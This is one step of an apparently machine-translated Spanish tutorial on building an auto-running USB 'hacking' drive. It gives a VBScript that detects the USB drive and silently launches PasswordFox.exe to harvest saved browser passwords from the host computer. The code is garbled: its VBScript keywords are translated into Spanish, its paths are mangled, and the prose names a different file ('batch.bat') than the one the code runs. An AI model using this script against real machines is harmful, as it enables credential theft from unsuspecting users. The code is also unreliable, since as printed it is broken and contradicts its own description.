Cómo hacer un Auto Hacking Wardrive (5 / 8 paso)

Paso 5: Creando el script de USB.vbs

Ahora vamos a crear el archivo usb.vbs. Esto encuentra la letra de la unidad USB para que automáticamente podemos guardar cosas a él. Por lo tanto, crear otro nuevo documento de texto y cámbiele el nombre a "usb.vbs". Continuación, haga clic en él y seleccione Editar. Desea escribir este código:

Dim oFSO oDrive, objFolder, oUsbDrive, oDestination, concha
UNIDADUSB const = 1
oDestination = "c:\test"
Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set shell=createobject("wscript.shell")
' Obtener la letra de unidad USB
Para cada oDrive en oFSO.Drives

Si oDrive.DriveType = entonces UNIDADUSB y oDrive.DriveLetter <> "A"
WScript.Echo "encontrado usb en", oDrive.DriveLetter

oUsbDrive = oDrive.DriveLetter & ": \"
Shell.Run oDrive.DriveLetter & ": \PasswordFox.exe"
Set shell = nada
End If
Siguiente
Sub CopyFiles (oPath, oDst)
Establecer objFolder = oFSO.GetFolder(oPath)
Para todos los archivos en objFolder.Files
WScript.Echo "Copiar archivo", archivos
newDst = "\" & Files.Name & oDst
oFSO.CopyFile archivos, newDst, True
WScript.Echo Err.Description
Siguiente
' Recurrente copia, quite el comentario de si es necesario
' Para cada oDir en objFolder.SubFolders
' CopyFiles oDir.Path, oDst
' Siguiente
End Sub

Básicamente lo que hace este script es escanear la computadora para una unidad USB y ejecuta un archivo llamado "batch.bat" de esa unidad USB. Una vez que tengas que hacer, haga clic en guardar y salir y ahora lo podemos grabar a nuestro disco U3.